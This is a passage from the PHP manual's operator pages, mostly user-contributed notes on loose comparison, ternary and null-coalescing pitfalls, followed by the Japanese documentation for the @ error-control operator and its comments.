if ($var ?? 0 == 2) {}  // will evaluate to true

if (2 == $undefinedVar ?? 0) {}  // will throw an error

if (($var ?? 0) == 2) {}  // will evaluate to false
?>

https://www.php.net/manual/en/language.operators.precedence.php
Ireneusz Pachulski 28-Nov-2020 07:40
Note that spaceship operator (<=>) is binary safe.

<?php
$a = "Hello";
$b = "Hello\x00World";

echo ($a <=> $b) . "<br>"; // -1
echo strcmp($a, $b) . "<br>"; // -6
echo strcoll($a, $b) . "<br>"; // 0 => not binary safe
?>
halfhearted13 at gmail dot com 18-Aug-2020 12:29
Both Null Coalescing ( ?? ) and Ternary ( ? : ) can work at a time.

<?php

$a = "user name";
echo $a = null ?? $a ? "sb" : "not found"; // it prints : sb
//as null coalescing has null on left it goes to 2nd expr $a. $a is defined so //output will be the 1st expr of Ternay operator.
?>

<?php

echo $x = "" ?? "" ? : "not found"; // it prints:  not found.
// null coalescing has empty value of its left. so it prints right expr which is //also empty. so the output will be the 2nd expr of ternary(written in short)

?>

<?php
echo $x = "" ?? "" ?? "" ? : false;  // prints nothing.
// if you add var_dump() you see bool(false)
?>
Sumon Mahmud 23-Jan-2020 06:59
Extending from here: https://www.php.net/manual/en/language.operators.comparison.php#121907

$a = ['a' => 1, 'b' => 2, 'c' => 3, 'e' => 4];
$b = ['a' => 1, 'b' => 2, 'd' => 3, 'e' => 4];

echo $a > $b; // 0
echo $b > $a; // 0
echo $a <$b; // 0
echo $b < $a; // 0

If using spaceship operator then it is returning true like :

echo $a <=> $b; //1
echo $b <=> $a; //1
echo $a <=> $b; //1
echo $b <=> $a; //1
azz 03-Nov-2019 06:26
Keep in mind that ?: operator is NOT fully equal to empty()

?: can't check non-existent array index (as describe here https://www.php.net/manual/ru/language.operators.comparison.php#92685) and vars

Check this:

<?php
ini_set('error_reporting', E_ALL);

$t = [];

var_dump(!isset($t['z']) || $t['z'] == FALSE); // true, this that empty() do
var_dump(empty($t['z'])); // true
var_dump(isset($t['z'])); // false

$v1 = $t['z'] ?: false; // Notice:  Undefined index: z
$v2 = $t['z'] ?? false; // silent!

var_dump($v1); // false
var_dump($v2); // false

var_dump(!isset($non_existent_var) || $non_existent_var == FALSE); // true, this that empty() do
var_dump(empty($non_existent_var)); // true
var_dump(isset($non_existent_var)); // false

$v1 = $non_existent_var ?: false; // Notice:  Undefined variable: non_existent_var
$v2 = $non_existent_var ?? false; // silent!

var_dump($v1); // false
var_dump($v2); // false
Ryan Mott 16-Sep-2019 05:00
Searching for "double question mark" operator should find this page (and hopefully after this comment the crawlers will agree)
Romain 19-Jul-2018 03:29
?? vs isset() with __isset() and __get()

<?php

class A
{
    public function __get($id)
    {
        return 'a value';
    }
}

class B
{
    public function __isset($id)
    {
        return false;
    }

    public function __get($id)
    {
        return 'a value';
    }
}

class c
{
    protected $test = "a value";

    public function __isset($id)
    {
        return true;
    }
}

$a = new A();
$b = new B();
$c = new C();

echo isset($a->test) ? $a->test : 'nothing'; // "nothing"
echo $a->test ?? 'nothing'; // "a value", isset() is not called!

echo isset($b->test) ? $b->test : 'nothing'; // "nothing"
echo $b->test ?? 'nothing'; // "nothing", __isset() is called

echo isset($c->test) ? $c->test : 'nothing'; // throw an Exception
echo $c->test ?? 'nothing'; // "nothing"

?>
niall at maranelda dot org 23-Nov-2017 12:16
Care must be taken when using the spaceship operator with arrays that do not have the same keys:

- Contrary to the notes above ("Example #2 Transcription of standard array comparison"), it does *not* return null if the left-hand array contains a key that the right-hand array does not.
- Because of this, the result depends on the order you do the comparison in.

For example:

<?php
$a = ['a' => 1, 'b' => 2, 'c' => 3, 'e' => 4];
$b = ['a' => 1, 'b' => 2, 'd' => 3, 'e' => 4];

var_dump($a <=> $b);        // int(1) : $a > $b because $a has the 'c' key and $b doesn't.

var_dump($b <=> $a);        // int(1) : $b > $a because $b has the 'd' key and $a doesn't.
?>
G 15-Jul-2017 12:19
Do note, using the ternary operator shorthand (since 5.3), omitting the 2nd expression the first expression will only be called once.

Before 5.3 (or not using the shorthand)
<?php
$val = f('x') ? f('x') : false;
// f('x') will be run twice
?>

After 5.3
<?php
$val = f('x') ?: false;
// f('x') will be run once
?>
prezire at gmail dot com 15-Jan-2016 03:42
Take note when grouping ternary operations that return either boolean or integer concatenated to a string:
<?php
  echo 'hello ' . true ? 1 : 0, //Outputs 1
       'hello ' . (true ? 1 : 0); //Outputs hello 1
?>
Marcin Kuzawiski 21-Jun-2015 08:12
A < B and still B < A...

$A = [1 => 1, 2 => 0, 3 => 1];
$B = [1 => 1, 3 => 0, 2 => 1];

var_dump($A < $B);  // TRUE
var_dump($B < $A);  // TRUE

var_dump($A > $B);  // TRUE
var_dump($B > $A);  // TRUE

Next - C and D are comparable, but neither C < D nor D < C (and still C != D)...

$C = [1 => 1, 2 => 1, 3 => 0];
$D = [1 => 1, 3 => 1, 2 => 0];

var_dump($C < $D); // FALSE
var_dump($D < $C); // FALSE

var_dump($C > $D); // FALSE
var_dump($D > $C); // FALSE

var_dump($D == $C); // FALSE
gondo 25-Apr-2014 11:47
beware of the fact, that there is no `<==` nor `>==` therefore `false <= 0` will be `true`. php v. 5.4.27
sgurukrupa at gmail dot com 21-Apr-2014 06:23
With respect to using the ternary operator as a 'null-coalescing' operator: expr1 ?: expr2, note that expr1 is evaluated only once.
Harry Willis 18-Apr-2014 03:52
I was interested about the following two uses of the ternary operator (PHP >= 5.3) for using a "default" value if a variable is not set or evaluates to false:

<?php
(isset($some_variable) && $some_variable) ? $some_variable : 'default_value';

$some_variable ?: 'default_value';
?>

The second is more readable, but will throw an ERR_NOTICE is $some_variable is not set. Of course, this could be overcome by suppressing the notice using the @ operator.

Performance-wise, though, comparing 1 million iterations of the three statements

  (isset($foo) && $foo) ? $foo : ''
  ($foo) ?: ''
  (@$foo) ?: ''

results in the following:

  $foo is NOT SET.
    [isset] 0.18222403526306
    [?:]    0.57496404647827
    [@ ?:]  0.64780592918396
  $foo is NULL.
    [isset] 0.17995285987854
    [?:]    0.15304207801819
    [@ ?:]  0.20394206047058
  $foo is FALSE.
    [isset] 0.19388508796692
    [?:]    0.15359902381897
    [@ ?:]  0.20741701126099
  $foo is TRUE.
    [isset] 0.17265486717224
    [?:]    0.11773896217346
    [@ ?:]  0.16193103790283

In other words, using the long-form ternary operator with isset($some_variable) is preferable overall if $some_variable may not be set.

(error_reporting was set to zero for the benchmark, to avoid printing a million notices...)
mail at mkharitonov dot net 21-Mar-2014 11:13
Be careful with the "==" operator when both operands are strings:
<?php
var_dump('123' == '       123'); // true
var_dump('1e3' == '1000'); // true
var_dump('+74951112233' == '74951112233'); // true
var_dump('00000020' == '0000000000000000020'); // true
var_dump('0X1D' == '29E0'); // true
var_dump('0xafebac' == '11529132'); // true
var_dump('0xafebac' == '0XAFEBAC'); // true
var_dump('0xeb' == '+235e-0'); // true
var_dump('0.235' == '+.235'); // true
var_dump('0.2e-10' == '2.0E-11'); // true
var_dump('61529519452809720693702583126814' == '61529519452809720000000000000000'); // true in php < 5.4.4
damien dot launay dot mail at gmail dot com 07-Jun-2013 02:46
I found a nice way to use of new "?:" operator:

$a = array();
$a['foo'] = 'oof';

$b = @ ($a['foo'] ?: 'No foo');
$c = @ ($a['bar'] ?: 'No bar');

var_dump($b, $c);

Output:

string(3) "oof"
string(6) "No bar"

No error is thrown and $c is set with correct value.

Benefit: no need to use isset.
bimal at sanjaal dot com 25-Feb-2013 12:02
I came across peculiar outputs while I was attempting to debug a script

<?php
# Setup platform (pre conditions somewhere in a loop)
$index=1;
$tally = array();

# May work with warnings that $tally[$index] is not initialized
# Notice: Undefined offset: 1 in D:\htdocs\colors\ColorCompare\i.php on line #__
# It is an old fashioned way.
# $tally[$index] = $tally[$index] + 1;

# Does not work: Loops to attempt to change $index and values are aways unaffected
$tally[$index] = isset($tally[$index])?$tally[$index]:0+1;
$tally[$index] = isset($tally[$index])?$tally[$index]:0+1;
$tally[$index] = isset($tally[$index])?$tally[$index]:0+1;
/*
# These three lines output:
Array
(
    [1] => 1
)
*/

# Works: This is what I need/expect
# $tally[$index] = 1+(isset($tally[$index])?$tally[$index]:0);

print_r($tally);
?>

The second block obviously does not work what one expects.
Third part is good.
Jeremy Swinborne 28-Mar-2012 08:06
Beware of the consequences of comparing strings to numbers.  You can disprove the laws of the universe.

echo ('X' == 0 && 'X' == true && 0 == false) ? 'true == false' : 'sanity prevails';

This will output 'true == false'.  This stems from the use of the UNIX function strtod() to convert strings to numbers before comparing.  Since 'X' or any other string without a number in it converts to 0 when compared to a number, 0 == 0 && 'X' == true && 0 == false
j-a-n at gmx dot de 13-Oct-2011 02:32
Please be careful when comparing strings with floats, especally when you are using the , as decimal.

<?php
var_dump($alt);
var_dump($neu);
var_dump($alt == $neu);
?>

string(9) "590217,73"
float(590217,73)
bool(false)

not the float is cast to a string and then string-compared, but the string is cast to a float and then float-compared.

to compare as strings use strval!

<?php
var_dump(strval($alt));
var_dump(strval($neu));
var_dump(strval($alt) == strval($neu));
?>

string(9) "590217,73"
string(9) "590217,73"
bool(true)
Cuong Huy To 10-Jul-2011 07:48
In the table "Comparison with Various Types", please move the last line about "Object" to be above the line about "Array", since Object is considered to be greater than Array (tested on 5.3.3)

(Please remove my "Anonymous" post of the same content before. You could check IP to see that I forgot to type my name)
Mark Simon 16-Jun-2011 02:20
The use of 5.3's shortened ternary operator allows PHP to coalesce a null or empty value to an alternative:

$value = $planA ?: $planB;

My own server doesn't yet run 5.3. A nice alternative is to use the "or" operator:

$value = $planA or $value = planB;
zak at minion dot net 21-Apr-2011 11:18
be careful when trying to concatenate the result of a ternary operator to a string

<?php
print '<div>'.(FALSE) ? 'TRUE [bad ternary]' : 'FALSE [bad ternary]';
print '<br><br>';
print '<div>'.((FALSE) ? 'TRUE [good ternary]' : 'FALSE [good ternary]');
?>

yields:

TRUE [bad ternary]

FALSE [good ternary]

this is because the ternary evaluates '<div>'.(FALSE) not (FALSE) - so the end result is TRUE
arnaud at arnapou dot net 06-Aug-2010 01:12
[Editor's note: consider using ===]

I discover after 10 years of PHP development something awfull : even if you make a string comparison (both are strings), strings are tested like integers and leading "space" character (even \n, \r, \t) is ignored ....

I spent hours because of leading \n in a string ... it hurts my developper sensibility to see two strings beeing compared like integers and not like strings ... I use strcmp now for string comparison ... so stupid ...

Test code :
<?php

test("1234", "1234");
test("1234", " 1234");
test("1234", "\n1234");
test("1234", "1234 ");
test("1234", "1234\n");

function test($v1, $v2) {
    echo "<h1>[".show_cr($v1)."] vs [".show_cr($v2)."]</h1>";
    echo my_var_dump($v1)."<br />";
    echo my_var_dump($v2)."<br />";
    if($v1 == $v2) {
        echo "EQUAL !";
    }
    else {
        echo "DIFFERENT !";
    }
}

function show_cr($var) {
    return str_replace("\n", "\\n", $var);
}

function my_var_dump($var) {
    ob_start();
    var_dump($var);
    $dump = show_cr(trim(ob_get_contents()));
    ob_end_clean();
    return $dump;
}

?>

Displays this ->

[1234] vs [1234]
string(4) "1234"
string(4) "1234"
EQUAL !

[1234] vs [ 1234]
string(4) "1234"
string(5) " 1234"
EQUAL !

[1234] vs [\n1234]
string(4) "1234"
string(5) "\n1234"
EQUAL !

[1234] vs [1234 ]
string(4) "1234"
string(5) "1234 "
DIFFERENT !

[1234] vs [1234\n]
string(4) "1234"
string(5) "1234\n"
DIFFERENT !
mail at markuszeller dot com 04-Aug-2010 01:40
I prefer writing (!$a == 'hello') much more than ($a != 'hello'), but I wondered about the performance.

So I did a benchmark:
<?php
for($bench = 0; $bench < 3; $bench++)
{
    $start = microtime(true);
    $a = 1;
    for($i = 0; $i < 100000000; $i++)
  {
        if(!$a == 'hello') $b++;
    }
    $end = microtime(true);
    echo "Used time: " . ($end-$start) . "\n";
}
?>
and it results with

# if($a != 'hello')
Used time: 12.552895069122
Used time: 12.548940896988
Used time: 12.470285177231

# if(!$a == 'hello')
Used time: 7.6532161235809
Used time: 7.6426539421082
Used time: 7.6452689170837
alan dot g at nospam dot net 09-May-2010 12:44
a function to help settings default values, it returns its own first non-empty argument :

make your own eor combos !

<?php

/*
 * Either Or
 *
 * usage:  $foo = eor(test1(),test2(),"default");
 * usage:  $foo = eor($_GET['foo'], foogen(), $foo, "bar");
 */

function eor() {
    $vars = func_get_args();
     while (!empty($vars) && empty($defval))
         $defval = array_shift($vars);
     return $defval;
}

?>
taras dot bogach at gmail dot com 31-Mar-2010 07:46
Boolean switch usege

<?php
class User_Exception extends Exception{}
class User{
  public function register($login,$pass,$passCheck)
    switch(false){
      case(strlen($pass) >= 5):
        throw new User_Exception("Password must be at last 5 chars length");
      case($pass == $passCheck):
        throw new User_Exception("Password is not confirmed!");
      case(strlen($login) >= 5):
        throw new User_Exception("Login must be at last 5 chars length");
      //Do other checks
      default:
        //Do registration
        return true;
    }
  }
  //...
}
?>
crazy888s at hotmail dot com 01-Feb-2010 10:32
I couldn't find much info on stacking the new ternary operator, so I ran some tests:

<?php
echo 0 ?: 1 ?: 2 ?: 3; //1
echo 1 ?: 0 ?: 3 ?: 2; //1
echo 2 ?: 1 ?: 0 ?: 3; //2
echo 3 ?: 2 ?: 1 ?: 0; //3

echo 0 ?: 1 ?: 2 ?: 3; //1
echo 0 ?: 0 ?: 2 ?: 3; //2
echo 0 ?: 0 ?: 0 ?: 3; //3
?>

It works just as expected, returning the first non-false value within a group of expressions.
kapoor_rajiv at hotmail dot com 13-Oct-2009 06:09
A quick way to do mysql bit comparison in php is to use the special character it stores . e.g
<?php
                                        if ($AvailableRequests['OngoingService'] == '')
                                            echo '<td>Yes</td>';
                                        else
                                            echo '<td>No</td>';

?>
Anonymous 03-Aug-2009 10:44
Note: The ternary shortcut currently seems to be of no use in dealing with unexisting keys in an array, as PHP will throw an error. Take the following example.

<?php
$_POST['Unexisting'] = $_POST['Unexisting'] ?: false;
?>

PHP will throw an error that the "Unexisting" key does not exist. The @ operator does not work here to suppress this error.
Hayley Watson 09-Apr-2007 10:38
Note that the "ternary operator" is better described as the "conditional operator". The former name merely notes that it has three arguments without saying anything about what it does. Needless to say, if PHP picked up any more ternary operators, this will be a problem.

"Conditional Operator" is actually descriptive of the semantics, and is the name historically given to it in, e.g., C.
thomas dot oldbury at tgohome dot com 27-Feb-2007 09:37
Be careful when using the ternary operator!

The following will not evaluate to the expected result:

<?php
echo "a string that has a " . (true) ? 'true' : 'false' . " condition in. ";
?>

Will print true.

Instead, use this:

<?php
echo "a string that has a " . ((true) ? 'true' : 'false') . " condition in. ";
?>

This will evaluate to the expected result: "a string that has a true condition in. "

I hope this helps.
fernandoleal at dragoncs dot com 03-Feb-2007 11:19
If you need nested ifs on I var its important to group the if so it works.
Example:
<?php
//Dont Works
//Parse error: parse error, unexpected ':'
 $var='<option value="1" '.$status == "1" ? 'selected="selected"' :''.'>Value 1</option>';
 //Works:
 $var='<option value="1" '.($status == "1" ? 'selected="selected"' :'').'>Value 1</option>';

echo $var;
?>
stepheneliotdewey at gmail [period] com 07-Jan-2007 06:49
Note that typecasting will NOT prevent the default behavior for converting two numeric strings to numbers when comparing them.

e.g.:

<?php
if ((string) '0123' == (string) '123')
    print 'equals';
else
    print 'doesn\'t equal';
?>

Still prints 'equals'

As far as I can tell the only way to avoid this is to use the identity comparison operators (=== and !==).
bishop 26-Oct-2006 03:49
When you want to know if two arrays contain the same values, regardless of the values' order, you cannot use "==" or "===".  In other words:

<?php
(array(1,2) == array(2,1)) === false;
?>

To answer that question, use:

<?php
function array_equal($a, $b) {
    return (is_array($a) && is_array($b) && array_diff($a, $b) === array_diff($b, $a));
}
?>

A related, but more strict problem, is if you need to ensure that two arrays contain the same key=>value pairs, regardless of the order of the pairs.  In that case, use:

<?php
function array_identical($a, $b) {
    return (is_array($a) && is_array($b) && array_diff_assoc($a, $b) === array_diff_assoc($b, $a));
}
?>

Example:
<?php
$a = array (2, 1);
$b = array (1, 2);
// true === array_equal($a, $b);
// false === array_identical($a, $b);

$a = array ('a' => 2, 'b' => 1);
$b = array ('b' => 1, 'a' => 2);
// true === array_identical($a, $b)
// true === array_equal($a, $b)
?>

(See also the solution "rshawiii at yahoo dot com" posted)
Alex 17-May-2006 07:49
I think everybody should read carefully what "jeronimo at DELETE_THIS dot transartmedia dot com" wrote. It's a great pitfall even for seasoned programmers and should be looked upon with a great attention.
For example, comparing passwords with == may result in a very large security hole.

I would add some more to it:

The workaround is to use strcmp() or ===.

Note on ===:

While the php documentation says that, basically,
($a===$b)  is the same as  ($a==$b && gettype($a) == gettype($b)),
this is not true.

The difference between == and === is that === never does any type conversion. So, while, according to documentation, ("+0.1" === ".1") should return true (because both are strings and == returns true), === actually returns false (which is good).
adam at caucho dot com 08-May-2006 10:49
Note: according to the spec, PHP's comparison operators are not transitive.  For example, the following are all true in PHP5:

"11" < "a" < 2 < "11"

As a result, the outcome of sorting an array depends on the order the elements appear in the pre-sort array.  The following code will dump out two arrays with *different* orderings:

<?php
$a = array(2,    "a",  "11", 2);
$b = array(2,    "11", "a",  2);
sort($a);
var_dump($a);
sort($b);
var_dump($b);
?>

This is not a bug report -- given the spec on this documentation page, what PHP does is "correct".  But that may not be what was intended...
rshawiii at yahoo dot com 18-Jan-2006 11:36
You can't just compare two arrays with the === operator
like you would think to find out if they are equal or not.  This is more complicated when you have multi-dimensional arrays.  Here is a recursive comparison function.

<?php
/**
 * Compares two arrays to see if they contain the same values.  Returns TRUE or FALSE.
 * usefull for determining if a record or block of data was modified (perhaps by user input)
 * prior to setting a "date_last_updated" or skipping updating the db in the case of no change.
 *
 * @param array $a1
 * @param array $a2
 * @return boolean
 */
function array_compare_recursive($a1, $a2)
{
   if (!(is_array($a1) and (is_array($a2)))) { return FALSE;}

   if (!count($a1) == count($a2))
      {
       return FALSE; // arrays don't have same number of entries
      }

   foreach ($a1 as $key => $val)
   {
       if (!array_key_exists($key, $a2))
           {return FALSE; // uncomparable array keys don't match
              }
       elseif (is_array($val) and is_array($a2[$key]))  // if both entries are arrays then compare recursive
           {if (!array_compare_recursive($val,$a2[$key])) return FALSE;
           }
       elseif (!($val === $a2[$key])) // compare entries must be of same type.
           {return FALSE;
           }
   }
   return TRUE; // $a1 === $a2
}
?>
07-Sep-2005 01:09
The following contrasts the trinary operator associativity in PHP and Java.  The first test would work as expected in Java (evaluates left-to-right, associates right-to-left, like if stmnt), the second in PHP (evaluates and associates left-to-right)

<?php

echo "\n\n######----------- trinary operator associativity\n\n";

function trinaryTest($foo){

    $bar    = $foo > 20
            ? "greater than 20"
            : $foo > 10
                ? "greater than 10"
                : $foo > 5
                    ? "greater than 5"
                    : "not worthy of consideration";
    echo $foo." =>  ".$bar."\n";
}

echo "----trinaryTest\n\n";
trinaryTest(21);
trinaryTest(11);
trinaryTest(6);
trinaryTest(4);

function trinaryTestParens($foo){

    $bar    = $foo > 20
            ? "greater than 20"
            : ($foo > 10
                ? "greater than 10"
                : ($foo > 5
                    ? "greater than 5"
                    : "not worthy of consideration"));
    echo $foo." =>  ".$bar."\n";
}

echo "----trinaryTestParens\n\n";
trinaryTestParens(21);
trinaryTestParens(11);
trinaryTest(6);
trinaryTestParens(4);

?>

Output:

######----------- trinary operator associativity

----trinaryTest

21 =>  greater than 5
11 =>  greater than 5
6 =>  greater than 5
4 =>  not worthy of consideration

----trinaryTestParens

21 =>  greater than 20
11 =>  greater than 10
6 =>  greater than 5
4 =>  not worthy of consideration
hiroh2k at yahoo dot com 19-Oct-2004 11:05
if you want to use the ?: operator, you should be careful with the precedence.

Here's an example of the priority of operators:

<?php
echo 'Hello, ' . isset($i) ? 'my friend: ' . $username . ', how are you doing?' : 'my guest, ' . $guestusername . ', please register';
?>

This make "'Hello, ' . isset($i)" the sentence to evaluate. So, if you think to mix more sentences with the ?: operator, please use always parentheses to force the proper evaluation of the sentence.

<?php
echo 'Hello, ' . (isset($i) ? 'my friend: ' . $username . ', how are you doing?' : 'my guest, ' . $guestusername . ', please register');
?>

for general rule, if you mix ?: with other sentences, always close it with parentheses.
jeronimo at DELETE_THIS dot transartmedia dot com 02-Jul-2004 04:01
For converted Perl programmers: use strict comparison operators (===, !==) in place of string comparison operators (eq, ne). Don't use the simple equality operators (==, !=), because ($a == $b) will return TRUE in many situations where ($a eq $b) would return FALSE.

For instance...
"mary" == "fred" is FALSE, but
"+010" == "10.0" is TRUE (!)

In the following examples, none of the strings being compared are identical, but because PHP *can* evaluate them as numbers, it does so, and therefore finds them equal...

<?php

echo ("007" == "7" ? "EQUAL" : "not equal");
// Prints: EQUAL

// Surrounding the strings with single quotes (') instead of double
// quotes (") to ensure the contents aren't evaluated, and forcing
// string types has no effect.
echo ( (string)'0001' == (string)'+1.' ? "EQUAL" : "not equal");
// Prints: EQUAL

// Including non-digit characters (like leading spaces, "e", the plus
// or minus sign, period, ...) can still result in this behavior, if
// a string happens to be valid scientific notation.
echo ('  131e-2' == '001.3100' ? "EQUAL" : "not equal");
// Prints: EQUAL

?>

If you're comparing passwords (or anything else for which "near" precision isn't good enough) this confusion could be detrimental. Stick with strict comparisons...

<?php

// Same examples as above, using === instead of ==

echo ("007" === "7" ? "EQUAL" : "not equal");
// Prints: not equal

echo ( (string)'0001' === (string)'+1.' ? "EQUAL" : "not equal");
// Prints: not equal

echo ('  131e-2' === '001.3100' ? "EQUAL" : "not equal");
// Prints: not equal

?>
user@example 04-Apr-2004 03:17
With Nested ternary Operators you have to set the logical  parentheses to get the correct result.

<?php
$test=true;
$test2=true;

($test) ? "TEST1 true" :  ($test2) ? "TEST2 true" : "false";
?>
This will output: TEST2 true;

correct:

<?php
$test=true;
$test2=true;

($test) ? "TEST1 true" : (($test2) ? "TEST2 true" : "false");
?>

Anyway don't nest them to much....!!
jwhiting at hampshire dot edu 09-Dec-2003 03:31
note: the behavior below is documented in the appendix K about type comparisons, but since it is somewhat buried i thought i should raise it here for people since it threw me for a loop until i figured it out completely.

just to clarify a tricky point about the == comparison operator when dealing with strings and numbers:

('some string' == 0) returns TRUE

however, ('123' == 0) returns FALSE

also note that ((int) 'some string') returns 0

and ((int) '123') returns 123

the behavior makes senes but you must be careful when comparing strings to numbers, e.g. when you're comparing a request variable which you expect to be numeric. its easy to fall into the trap of:

if ($_GET['myvar']==0) dosomething();

as this will dosomething() even when $_GET['myvar'] is 'some string' and clearly not the value 0

i was getting lazy with my types since php vars are so flexible, so be warned to pay attention to the details...


エラー制御演算子

PHP はエラー制御演算子(@)をサポートしています。 PHP の式の前に付けた場合、 その式により生成されたエラーメッセージは無視されます。

set_error_handler() で自作のエラーハンドラを設定した場合は エラー制御演算子があってもそのエラーハンドラがコールされます。 その場合、自作のエラーハンドラの中で error_reporting() をコールし、@ 演算子が使われているかを次のようにして確認すべきです。

<?php
function my_error_handler($err_no, $err_msg, $filename, $linenum) {
    if (!(error_reporting() & $err_no)) {
        return false; // Silenced
    }
    // ...
}
?>

警告

PHP 8.0.0 より前のバージョンでは、 カスタムのエラーハンドラで渡されるエラーレベルは、 エラーメッセージが無視されている場合常に 0 でした。 このことは、PHP 8.0.0 以降は当てはまりません。

式によって生成されたあらゆるエラーメッセージは error_get_last() 関数が返す配列要素 "message" から取得できます。 この関数の結果はエラーごとに変わります。よって速やかに確認する必要があります。

<?php
/* 意図的なエラー */
$my_file = @file ('non_existent_file') or
    die ("Failed opening file: error was '" . error_get_last()['message'] . "'");

// この演算子は関数だけでなく、全ての式で動作します。
$value = @$cache[$key];
// インデックス $key が存在しない場合でも、警告を発生しません。

?>

注意: @ 演算子は、 式 に対してのみ動作します。基本的なルールは次のようになります。 値を得ることができるものの場合、 @ 演算子を前に付けることが可能です。 例えば、変数、関数、いくつかの言語構造(例: include) のコールなどの前に、この演算子をつけることが可能です。 関数またはクラスの定義、 if や foreach 等のような 条件構造の前には、この演算子を付けることはできません。

警告

PHP 8.0.0 より前のバージョンでは、 スクリプトの実行を停止させるような致命的な場合であっても @ 演算子でエラーメッセージを抑止することが可能でした。 たとえば、存在しなかったり、ミスタイプされていたり、 利用できない関数コールの前に @ 演算子を付けると、 原因を示すことなく、その場所でスクリプトは終了してしまっていました。

参考

  • error_reporting()
  • エラーハンドリングとロギング関数

User Contributed Notes

gwyneth dot llewelyn at gwynethllewelyn dot net 06-Feb-2021 10:31
Allegedly, the @ error control operator has been deprecated as of PHP 8.0.0, or, more precisely, it will no longer suppress fatal errors. See https://bugs.php.net/bug.php?id=78532&thanks=3 (note the comment by nikic@php.net)
fy dot kenny at gmail dot com 06-Aug-2020 08:14
* How to make deprecated super global variable `$php_errormsg` work

>1. modify php.ini
>track_errors = On
>error_reporting = E_ALL & ~E_NOTICE
>2. Please note，if you already using customized error handler，it will prompt `undefined variable`
>please insert code`set_error_handler(null);` before executing code, e.g:
>```php
>set_error_handler(null);
>$my_file = @file ('phpinfo.phpx') or
>die ("<br>Failed opening file: <br>\t$php_errormsg");
>```

>(c)Kenny Fang
jcmargentina at gmail dot com 13-Sep-2019 12:15
Please be aware that the behaviour of this operator changed from php5 to php7.

The following code will raise a Fatal error no matter what, and you wont be able to suppress it

<?php

function query()
{
    $myrs = null;
    $tmp = @$myrs->free_result();

    return $tmp;
}

var_dump(query());

echo "THIS IS NOT PRINT";
?>

more info at: https://bugs.php.net/bug.php?id=78532&thanks=3
man13or at hotmail dot fr 07-Jun-2019 01:54
Quick debugging methods :

@print($a);
is equivalent to
if isset($a) echo $a ;

@a++;
is equivalent to
if isset($a) $a++ ;
else $a = 1;
Joey 16-Feb-2018 01:50
In PHP it is extremely beneficial to turn all notices into exceptions. This helps in creating bug free code through finding errors sooner rather than later. It also helps reduce the impact of bugs as code when entering an erroneous state ends sooner rather than later and at all. In the worst case without that you can have much more scenarios where code fails yet appears as though it succeeded.

However there are rare cases in which notices and warnings are produced where the above behavour might be unproductive. Worse yet your error handling will kick out that exception before the function gets to return.

They are rare cases such as socket handling where certain states are expressed through errors causing ambiguity.
ricovox 07-Mar-2017 05:29
What is PHP's behavior for a variable that is assigned the return value of an expression protected by the Error Control Operator when the expression encounteres an error?

Based on the following code, the result is NULL (but it would be nice if this were confirmed to be true in all cases).

<?php

    $var = 3;
    $arr = array();

    $var = @$arr['x'];    // what is the value of $var after this assignment?

    // is it its previous value (3) as if the assignment never took place?
    // is it FALSE or NULL?
    // is it some kind of exception or error message or error number?

   var_dump($var);  // prints "NULL"

?>
dkellner 04-Aug-2016 10:21
There is no reason to NOT use something just because "it can be misused".  You could as well say "unlink is evil, you can delete files with it so don't ever use unlink".

It's a valid point that the @ operator hides all errors - so my rule of thumb is: use it only if you're aware of all possible errors your expression can throw AND you consider all of them irrelevant.

A simple example is
<?php

    $x = @$a["name"];

?>
There are only 2 possible problems here: a missing variable or a missing index.  If you're sure you're fine with both cases, you're good to go.  And again: suppressing errors is not a crime.  Not knowing when it's safe to suppress them is definitely worse.
karst dot REMOVETHIS at onlinq dot nl 20-Feb-2015 02:15
While you should definitely not be too liberal with the @ operator, I also disagree with people who claim it's the ultimate sin.

For example, a very reasonable use is to suppress the notice-level error generated by parse_ini_file() if you know the .ini file may be missing.
In my case getting the FALSE return value was enough to handle that situation, but I didn't want notice errors being output by my API.

TL;DR: Use it, but only if you know what you're suppressing and why.
manisha at mindfiresolutions dot com 11-Oct-2014 09:25
Prepending @ before statement like you are doing a crime with yourself.
Anonymous 14-Feb-2014 11:24
I was wondering if anyone (else) might find a directive to disable/enable to error operator would be a useful addition. That is, instead of something like (which I have seen for a few places in some code):

<?php

if (defined(PRODUCTION)) {
    @function();
}
else {
    function();
}

?>

There could be something like this:

<?php

if (defined(PRODUCTION)) {
    ini_set('error.silent',TRUE);
}
else {
    ini_set('error.silent',FALSE);
}

?>
Anonymous 05-Aug-2013 01:05
This operator is affectionately known by veteran phpers as the stfu operator.
bohwaz 22-Jun-2011 06:27
If you use the ErrorException exception to have a unified error management, I'll advise you to test against error_reporting in the error handler, not in the exception handler as you might encounter some headaches like blank pages as error_reporting might not be transmitted to exception handler.

So instead of :

<?php

function exception_error_handler($errno, $errstr, $errfile, $errline )
{
    throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
}

set_error_handler("exception_error_handler");

function catchException($e)
{
    if (error_reporting() === 0)
    {
        return;
    }

    // Do some stuff
}

set_exception_handler('catchException');

?>

It would be better to do :

<?php

function exception_error_handler($errno, $errstr, $errfile, $errline )
{
    if (error_reporting() === 0)
    {
        return;
    }

    throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
}

set_error_handler("exception_error_handler");

function catchException($e)
{
    // Do some stuff
}

set_exception_handler('catchException');

?>
anthon at piwik dot org 20-Feb-2011 12:39
If you're wondering what the performance impact of using the @ operator is, consider this example.  Here, the second script (using the @ operator) takes 1.75x as long to execute...almost double the time of the first script.

So while yes, there is some overhead, per iteration, we see that the @ operator added only .005 ms per call.  Not reason enough, imho, to avoid using the @ operator.

<?php
function x() { }
for ($i = 0; $i < 1000000; $i++) { x(); }
?>

real    0m7.617s
user    0m6.788s
sys    0m0.792s

vs

<?php
function x() { }
for ($i = 0; $i < 1000000; $i++) { @x(); }
?>

real    0m13.333s
user    0m12.437s
sys    0m0.836s
auser at anexample dot com 08-Sep-2010 04:02
Be aware that using @ is dog-slow, as PHP incurs overhead to suppressing errors in this way. It's a trade-off between speed and convenience.
darren at powerssa dot com 14-Jul-2010 09:33
After some time investigating as to why I was still getting errors that were supposed to be suppressed with @ I found the following.

1. If you have set your own default error handler then the error still gets sent to the error handler regardless of the @ sign.

2. As mentioned below the @ suppression only changes the error level for that call. This is not to say that in your error handler you can check the given $errno for a value of 0 as the $errno will still refer to the TYPE(not the error level) of error e.g. E_WARNING or E_ERROR etc

3. The @ only changes the rumtime error reporting level just for that one call to 0. This means inside your custom error handler you can check the current runtime error_reporting level using error_reporting() (note that one must NOT pass any parameter to this function if you want to get the current value) and if its zero then you know that it has been suppressed.
<?php
// Custom error handler
